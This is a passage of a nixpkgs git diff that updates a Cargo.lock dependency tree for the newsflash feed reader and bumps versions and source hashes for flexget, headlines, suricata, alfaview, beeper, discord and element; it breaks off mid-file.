"tracing-attributes" -version = "0.1.26" +version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", ] [[package]] name = "tracing-core" -version = "0.1.31" +version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0955b8137a1df6f1a2e9a37d8a6656291ff0297c1a97c24e0d8425fe2312f79a" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", ] [[package]] name = "triomphe" -version = "0.1.9" +version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0eee8098afad3fb0c54a9007aab6804558410503ad676d4633f9c2559a00ac0f" +checksum = "859eb650cfee7434994602c3a68b25d77ad9e68c8a6cd491616ef86661382eb3" [[package]] name = "trust-dns-proto" -version = "0.22.0" +version = "0.23.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f7f83d1e4a0e4358ac54c5c3681e5d7da5efc5a7a632c90bb6d6669ddd9bc26" +checksum = "3119112651c157f4488931a01e586aa459736e9d6046d3bd9105ffb69352d374" dependencies = [ "async-trait", "cfg-if", @@ -4437,10 +4083,10 @@ dependencies = [ "futures-channel", "futures-io", "futures-util", - "idna 0.2.3", + "idna 0.4.0", "ipnet", - "lazy_static", - "rand 0.8.5", + "once_cell", + "rand", "smallvec", "thiserror", "tinyvec", @@ -4451,16 +4097,17 @@ dependencies = [ [[package]] name = "trust-dns-resolver" -version = "0.22.0" +version = "0.23.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aff21aa4dcefb0a1afbfac26deb0adc93888c7d295fb63ab273ef276ba2b7cfe" +checksum = "10a3e6c3aff1718b3c73e395d1f35202ba2ffa847c6a62eea0db8fb4cfe30be6" dependencies = [ "cfg-if", "futures-util", "ipconfig", - "lazy_static", "lru-cache", + "once_cell", "parking_lot", + "rand", "resolv-conf", "smallvec", "thiserror", @@ -4471,9 +4118,9 @@ dependencies = [ [[package]] name = "try-lock" -version = "0.2.4" +version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" [[package]] name = "typemap-ors" @@ -4492,10 +4139,11 @@ checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] name = "uds_windows" -version = "1.0.2" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce65604324d3cce9b966701489fbd0cf318cb1f7bd9dd07ac9a4ee6fb791930d" +checksum = "89daebc3e6fd160ac4aa9fc8b3bf71e1f74fbf92367ae71fb83a037e8bf164b9" dependencies = [ + "memoffset", "tempfile", "winapi", ] @@ -4511,9 +4159,9 @@ dependencies = [ [[package]] name = "unicode-bidi" -version = "0.3.13" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" [[package]] name = "unicode-ident" @@ -4523,9 +4171,9 @@ checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-normalization" -version = "0.1.22" +version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +checksum = "a56d1686db2308d901306f92a263857ef59ea39678a5458e7cb17f01415101f5" dependencies = [ "tinyvec", ] @@ -4540,19 +4188,19 @@ dependencies = [ ] [[package]] -name = "untrusted" -version = "0.7.1" +name = "unsafe-libyaml" +version = "0.2.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" +checksum = "ab4c90930b95a82d00dc9e9ac071b4991924390d46cbd0dfe566148667605e4b" [[package]] name = "url" -version = "2.4.1" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" dependencies = [ "form_urlencoded", - "idna 0.4.0", + "idna 0.5.0", "percent-encoding", "serde", ] @@ -4564,27 +4212,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" [[package]] -name = "utf8parse" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" - -[[package]] name = "uuid" -version = "1.4.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79daa5ed5740825c40b389c5e50312b9c86df53fccd33f281df655642b43869d" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" dependencies = [ - "getrandom 0.2.10", + "getrandom", ] [[package]] -name = "value-bag" -version = "1.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d92ccd67fb88503048c01b59152a04effd0782d035a83a6d256ce6085f08f4a3" - -[[package]] name = "vcpkg" version = "0.2.15" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4603,12 +4239,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" [[package]] -name = "waker-fn" -version = "1.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" - -[[package]] name = "walkdir" version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4629,21 +4259,15 @@ dependencies = [ [[package]] name = "wasi" -version = "0.9.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" - -[[package]] -name = "wasi" version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.87" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -4651,24 +4275,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.87" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.37" +version = "0.4.41" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c02dbc21516f9f1f04f187958890d7e6026df8d16540b7ad9492bc34a67cea03" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" dependencies = [ "cfg-if", "js-sys", @@ -4678,9 +4302,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.87" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dee495e55982a3bd48105a7b947fd2a9b4a8ae3010041b9e0faab3f9cd028f1d" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -4688,28 +4312,28 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.87" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ "proc-macro2", "quote", - "syn 2.0.37", + "syn 2.0.51", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.87" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] name = "wasm-streams" -version = "0.3.0" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +checksum = "b65dc4c90b63b118468cf747d8bf3566c1913ef60be765b5730ead9e0a3ba129" dependencies = [ "futures-util", "js-sys", @@ -4720,9 +4344,9 @@ dependencies = [ [[package]] name = "web-sys" -version = "0.3.64" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b85cbef8c220a6abc02aefd892dfc0fc23afb1c6a426316ec33253a3877249b" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" dependencies = [ "js-sys", "wasm-bindgen", @@ -4730,9 +4354,9 @@ dependencies = [ [[package]] name = "webkit6" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "111922d85b0f570bc1468d190037299fd0eca36f24147f74c1ad20fae5e21370" +checksum = "9d82bda18116290a9effc1e0f8dbd00236807bf4a9b990b9484bad5ba852fc06" dependencies = [ "gdk4", "gio", @@ -4740,16 +4364,15 @@ dependencies = [ "gtk4", "javascriptcore6", "libc", - "once_cell", "soup3", "webkit6-sys", ] [[package]] name = "webkit6-sys" -version = "0.2.0" +version = "0.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cfc4fbaf44fd645711e36a97437443e7f06b401fb66ccc3e5ae17eeb6f5cb681" +checksum = "6c459941f1b22750cbda435ede3f94ed8e8dd8c8608d324ecb0b9a8556b49abd" dependencies = [ "gdk4-sys", "gio-sys", @@ -4763,16 +4386,10 @@ dependencies = [ ] [[package]] -name = "webpki-roots" -version = "0.25.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14247bb57be4f377dfb94c72830b8ce8fc6beac03cf4bf7b9732eadd414123fc" - -[[package]] name = "weezl" -version = "0.1.7" +version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb" +checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" [[package]] name = "widestring" @@ -4812,12 +4429,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" [[package]] -name = "windows" -version = "0.48.0" +name = "windows-core" +version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets", + "windows-targets 0.52.3", ] [[package]] @@ -4826,7 +4443,16 @@ version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" dependencies = [ - "windows-targets", + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.3", ] [[package]] @@ -4835,13 +4461,28 @@ version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" dependencies = [ - "windows_aarch64_gnullvm", - "windows_aarch64_msvc", - "windows_i686_gnu", - "windows_i686_msvc", - "windows_x86_64_gnu", - "windows_x86_64_gnullvm", - "windows_x86_64_msvc", + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d380ba1dc7187569a8a9e91ed34b8ccfc33123bbacb8c0aed2d1ad7f3ef2dc5f" +dependencies = [ + "windows_aarch64_gnullvm 0.52.3", + "windows_aarch64_msvc 0.52.3", + "windows_i686_gnu 0.52.3", + "windows_i686_msvc 0.52.3", + "windows_x86_64_gnu 0.52.3", + "windows_x86_64_gnullvm 0.52.3", + "windows_x86_64_msvc 0.52.3", ] [[package]] @@ -4851,46 +4492,97 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68e5dcfb9413f53afd9c8f86e56a7b4d86d9a2fa26090ea2dc9e40fba56c6ec6" + +[[package]] name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8dab469ebbc45798319e69eebf92308e541ce46760b49b18c6b3fe5e8965b30f" + +[[package]] name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a4e9b6a7cac734a8b4138a4e1044eac3404d8326b6c0f939276560687a033fb" + +[[package]] name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] +name = "windows_i686_msvc" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28b0ec9c422ca95ff34a78755cfa6ad4a51371da2a5ace67500cf7ca5f232c58" + +[[package]] name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] +name = "windows_x86_64_gnu" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704131571ba93e89d7cd43482277d6632589b18ecf4468f591fbae0a8b101614" + +[[package]] name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42079295511643151e98d61c38c0acc444e52dd42ab456f7ccfd5152e8ecf21c" + +[[package]] name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] +name = "windows_x86_64_msvc" +version = "0.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0770833d60a970638e989b3fa9fd2bb1aaadcf88963d1659fd7d9990196ed2d6" + +[[package]] +name = "winnow" +version = "0.5.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" +dependencies = [ + "memchr", +] + +[[package]] name = "winnow" -version = "0.5.15" +version = "0.6.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c2e3184b9c4e92ad5167ca73039d0c42476302ab603e2fec4487511f38ccefc" +checksum = "7a4191c47f15cc3ec71fcb4913cb83d58def65dd3787610213c649283b5ce178" dependencies = [ "memchr", ] @@ -4902,16 +4594,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" dependencies = [ "cfg-if", - "windows-sys", + "windows-sys 0.48.0", ] [[package]] name = "xdg-home" -version = "1.0.0" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2769203cd13a0c6015d515be729c526d041e9cf2c0cc478d57faee85f40c6dcd" +checksum = "21e5a325c3cb8398ad6cf859c1135b25dd29e186679cf2da7581d9679f63b38e" dependencies = [ - "nix", + "libc", "winapi", ] @@ -4934,9 +4626,9 @@ dependencies = [ [[package]] name = "xmlparser" -version = "0.13.5" +version = "0.13.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d25c75bf9ea12c4040a97f829154768bbbce366287e2dc044af160cd79a13fd" +checksum = "66fee0b777b0f5ac1c69bb06d361268faafa61cd4682ae064a171c16c433e9e4" [[package]] name = "xmltree" @@ -4948,49 +4640,38 @@ dependencies = [ ] [[package]] -name = "yaml-rust" -version = "0.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" -dependencies = [ - "linked-hash-map", -] - -[[package]] name = "zbus" -version = "3.14.1" +version = "4.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31de390a2d872e4cd04edd71b425e29853f786dc99317ed72d73d6fcf5ebb948" +checksum = "c9ff46f2a25abd690ed072054733e0bc3157e3d4c45f41bd183dce09c2ff8ab9" dependencies = [ "async-broadcast", "async-executor", "async-fs", "async-io", - "async-lock", + "async-lock 3.3.0", "async-process", "async-recursion", "async-task", "async-trait", "blocking", - "byteorder", "derivative", "enumflags2", - "event-listener 2.5.3", + "event-listener 5.1.0", "futures-core", "futures-sink", "futures-util", "hex", "nix", - "once_cell", "ordered-stream", - "rand 0.8.5", + "rand", "serde", "serde_repr", "sha1", "static_assertions", "tracing", "uds_windows", - "winapi", + "windows-sys 0.52.0", "xdg-home", "zbus_macros", "zbus_names", @@ -4999,9 +4680,9 @@ dependencies = [ [[package]] name = "zbus_macros" -version = "3.14.1" +version = "4.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41d1794a946878c0e807f55a397187c11fc7a038ba5d868e7db4f3bd7760bc9d" +checksum = "4e0e3852c93dcdb49c9462afe67a2a468f7bd464150d866e861eaf06208633e0" dependencies = [ "proc-macro-crate", "proc-macro2", @@ -5013,9 +4694,9 @@ dependencies = [ [[package]] name = "zbus_names" -version = "2.6.0" +version = "3.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb80bb776dbda6e23d705cf0123c3b95df99c4ebeaec6c2599d4a5419902b4a9" +checksum = "4b9b1fef7d021261cc16cba64c351d291b715febe0fa10dc3a443ac5a5022e6c" dependencies = [ "serde", "static_assertions", @@ -5033,13 +4714,12 @@ dependencies = [ [[package]] name = "zvariant" -version = "3.15.0" +version = "4.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44b291bee0d960c53170780af148dca5fa260a63cdd24f1962fa82e03e53338c" +checksum = "2c1b3ca6db667bfada0f1ebfc94b2b1759ba25472ee5373d4551bb892616389a" dependencies = [ - "byteorder", + "endi", "enumflags2", - "libc", "serde", "static_assertions", "url", @@ -5048,9 +4728,9 @@ dependencies = [ [[package]] name = "zvariant_derive" -version = "3.15.0" +version = "4.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "934d7a7dfc310d6ee06c87ffe88ef4eca7d3e37bb251dece2ef93da8f17d8ecd" +checksum = "b7a4b236063316163b69039f77ce3117accb41a09567fd24c168e43491e521bc" dependencies = [ "proc-macro-crate", "proc-macro2", @@ -5061,9 +4741,9 @@ dependencies = [ [[package]] name = "zvariant_utils" -version = "1.0.1" +version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7234f0d811589db492d16893e3f21e8e2fd282e6d01b0cddee310322062cc200" +checksum = "00bedb16a193cc12451873fee2a1bc6550225acece0e36f333e68326c73c8172" dependencies = [ "proc-macro2", "quote", diff --git a/pkgs/applications/networking/feedreaders/newsflash/default.nix b/pkgs/applications/networking/feedreaders/newsflash/default.nix index 5631a8419cc2a..37c8760df82e4 100644 --- a/pkgs/applications/networking/feedreaders/newsflash/default.nix +++ b/pkgs/applications/networking/feedreaders/newsflash/default.nix @@ -25,22 +25,21 @@ stdenv.mkDerivation (finalAttrs: { pname = "newsflash"; - version = "3.0.2"; + version = "3.1.5"; src = fetchFromGitLab { owner = "news-flash"; repo = "news_flash_gtk"; rev = "refs/tags/v.${finalAttrs.version}"; - sha256 = "sha256-tJKr2bGkdpEb+25eN0ZfHhEDl5Zdf8fdaC/rNMbH8Ws="; + hash = "sha256-6RkZdRQ/pNq6VkL9E2BaAWbKKGbCpEC+skGHPe3TwH8="; }; cargoDeps = rustPlatform.importCargoLock { lockFile = ./Cargo.lock; outputHashes = { - "news-flash-2.3.0-alpha.0" = "sha256-H0osT7IrPbQ3RQYJZE7J+n7u4UCT86LAybUF3vvIXkA="; + "news-flash-2.3.0-alpha.0" = "sha256-Gr7EyAbIFABZx9GR/WvshF0vfJaul7wz4pro2EbwSM8="; "newsblur_api-0.2.0" = "sha256-eysCB19znQF8mRwQ64nSp6KuvJ1Trot4g4WCdQDedo8="; - "article_scraper-2.0.0" = "sha256-FnOmrZyYewOuU8Au7fhmSJHN7UPCx/CxBV8UtSHattU="; - "commafeed_api-0.1.0" = "sha256-69UAmyUm0WG3qPoWZw4PekXh1RjIP5l3dx3gjWfxJDQ="; + "article_scraper-2.0.0" = "sha256-URiteEJ1kXoGfRopGoRI/4iPbzd+F9bQaMJKpkrh/sE="; }; }; diff --git a/pkgs/applications/networking/feedreaders/newsflash/no-post-install.patch b/pkgs/applications/networking/feedreaders/newsflash/no-post-install.patch index ab4972b11a133..ba316812bbeb9 100644 --- a/pkgs/applications/networking/feedreaders/newsflash/no-post-install.patch +++ b/pkgs/applications/networking/feedreaders/newsflash/no-post-install.patch @@ -1,14 +1,15 @@ diff --git a/meson.build b/meson.build -index 1d7089c..1952e7f 100644 +index e554ddd7..55a5048a 100644 --- a/meson.build +++ b/meson.build -@@ -58,8 +58,8 @@ meson.add_dist_script( +@@ -56,10 +56,3 @@ meson.add_dist_script( + subdir('data') + subdir('po') subdir('src') - - gnome.post_install( +- +-gnome.post_install( - gtk_update_icon_cache: true, -+ gtk_update_icon_cache: false, - glib_compile_schemas: false, +- glib_compile_schemas: false, - update_desktop_database: true, -+ update_desktop_database: false, - ) +-) +- diff --git a/pkgs/applications/networking/flexget/default.nix b/pkgs/applications/networking/flexget/default.nix index c2f13faa10c42..72011a3160b20 100644 --- a/pkgs/applications/networking/flexget/default.nix +++ b/pkgs/applications/networking/flexget/default.nix @@ -6,7 +6,7 @@ python3.pkgs.buildPythonApplication rec { pname = "flexget"; - version = "3.11.17"; + version = "3.11.19"; pyproject = true; # Fetch from GitHub in order to use `requirements.in` @@ -14,7 +14,7 @@ python3.pkgs.buildPythonApplication rec { owner = "Flexget"; repo = "Flexget"; rev = "refs/tags/v${version}"; - hash = "sha256-C6BVSrF6xM3tnNnGS39T57N9jB5LnOq4W1hcF99CgPk="; + hash = "sha256-XqZPhjuk3f9EbDTu+iX2U6uOXTn3rFdYjQNx5Prte88="; }; postPatch = '' diff --git a/pkgs/applications/networking/headlines/default.nix b/pkgs/applications/networking/headlines/default.nix index 8db698e963bc4..a4e5a8e684c63 100644 --- a/pkgs/applications/networking/headlines/default.nix +++ b/pkgs/applications/networking/headlines/default.nix @@ -14,7 +14,7 @@ , gtkmm4 , libsecret , fetchFromGitLab -, makeWrapper +, wrapGAppsHook4 , xdg-utils , youtube-dl , ffmpeg @@ -34,7 +34,7 @@ stdenv.mkDerivation rec { nativeBuildInputs = [ cmake pkg-config - makeWrapper + wrapGAppsHook4 ]; buildInputs = [ @@ -56,10 +56,10 @@ stdenv.mkDerivation rec { gst-plugins-bad ]); - postFixup = '' - wrapProgram "$out/bin/headlines" \ - --prefix PATH : "${lib.makeBinPath [ xdg-utils youtube-dl ffmpeg ]}" \ - --prefix GST_PLUGIN_SYSTEM_PATH_1_0 : "$GST_PLUGIN_SYSTEM_PATH_1_0" + preFixup = '' + gappsWrapperArgs+=( + --prefix PATH : "${lib.makeBinPath [ xdg-utils youtube-dl ffmpeg ]}" + ) ''; meta = with lib; { diff --git a/pkgs/applications/networking/ids/suricata/default.nix b/pkgs/applications/networking/ids/suricata/default.nix index eb784c95b9fc1..1ea7541495545 100644 --- a/pkgs/applications/networking/ids/suricata/default.nix +++ b/pkgs/applications/networking/ids/suricata/default.nix @@ -33,11 +33,11 @@ in stdenv.mkDerivation rec { pname = "suricata"; - version = "7.0.2"; + version = "7.0.3"; src = fetchurl { url = "https://www.openinfosecfoundation.org/download/${pname}-${version}.tar.gz"; - hash = "sha256-tOtgSDjvmag5a8i3u1TK0R8kQsvXy7MA5/WqsZCXvE0="; + hash = "sha256-6gdC16mHg/GvSldmGvYGi8LYUKw+ygSzIE0ozhZeNf8="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/instant-messengers/alfaview/default.nix b/pkgs/applications/networking/instant-messengers/alfaview/default.nix index 0cf3230bf88a7..d5975bb78059e 100644 --- a/pkgs/applications/networking/instant-messengers/alfaview/default.nix +++ b/pkgs/applications/networking/instant-messengers/alfaview/default.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation rec { pname = "alfaview"; - version = "9.8.1"; + version = "9.8.2"; src = fetchurl { url = "https://assets.alfaview.com/stable/linux/deb/${pname}_${version}.deb"; - hash = "sha256-agi0f3aj5nHGV2/TAjaX+tY8/4nTdRlRiRn6rkTqokY="; + hash = "sha256-xDi51AtQGM8htkFaLKlHXHh0VaT477qK/7VZVmFIE0M="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/networking/instant-messengers/beeper/default.nix b/pkgs/applications/networking/instant-messengers/beeper/default.nix index 21542fc5f4756..1a014d2aef0ae 100644 --- a/pkgs/applications/networking/instant-messengers/beeper/default.nix +++ b/pkgs/applications/networking/instant-messengers/beeper/default.nix @@ -11,11 +11,11 @@ }: let pname = "beeper"; - version = "3.95.22"; + version = "3.98.16"; name = "${pname}-${version}"; src = fetchurl { - url = "https://download.todesktop.com/2003241lzgn20jd/beeper-3.95.22-build-240206gs9w02ysg-x86_64.AppImage"; - hash = "sha256-svTHoKLlKoCEL+Cc5VCJBJQSO8b/4T1Ukpwbc2nuHxA="; + url = "https://download.todesktop.com/2003241lzgn20jd/beeper-3.98.16-build-240228llcputn9l-x86_64.AppImage"; + hash = "sha256-CjtlE/owx7emzGDdOAw6pSlAuNbUspm1YP+kxm6Jrt8="; }; appimage = appimageTools.wrapType2 { inherit version pname src; diff --git a/pkgs/applications/networking/instant-messengers/discord/default.nix b/pkgs/applications/networking/instant-messengers/discord/default.nix index 38415b9b5b1d3..3392aff89add6 100644 --- a/pkgs/applications/networking/instant-messengers/discord/default.nix +++ b/pkgs/applications/networking/instant-messengers/discord/default.nix @@ -3,8 +3,8 @@ let versions = if stdenv.isLinux then { stable = "0.0.43"; - ptb = "0.0.67"; - canary = "0.0.277"; + ptb = "0.0.72"; + canary = "0.0.285"; development = "0.0.13"; } else { stable = "0.0.294"; @@ -21,11 +21,11 @@ let }; ptb = fetchurl { url = "https://dl-ptb.discordapp.net/apps/linux/${version}/discord-ptb-${version}.tar.gz"; - hash = "sha256-LySb261stSdUWMfCZ6Ca/MZMhnJ+CEEKmm38cuD1k1s="; + hash = "sha256-yZzQj8XOIk6Ccyn/o1PAZPlr43xrl8O2LLmwV+WO9Wg="; }; canary = fetchurl { url = "https://dl-canary.discordapp.net/apps/linux/${version}/discord-canary-${version}.tar.gz"; - hash = "sha256-AOhwBr/bOKAQtQ41oaYxU/2708Rt5arBzjpGdWUnHZU="; + hash = "sha256-dfBwe/YOzUUAfBrf51mNXtpyGL3Mp235e6TfQM4h04s="; }; development = fetchurl { url = "https://dl-development.discordapp.net/apps/linux/${version}/discord-development-${version}.tar.gz"; diff --git a/pkgs/applications/networking/instant-messengers/element/pin.nix b/pkgs/applications/networking/instant-messengers/element/pin.nix index 9a10c2eddba8b..19ea95b452ffe 100644 --- a/pkgs/applications/networking/instant-messengers/element/pin.nix +++ b/pkgs/applications/networking/instant-messengers/element/pin.nix @@ -1,9 +1,9 @@ { - "version" = "1.11.57"; + "version" = 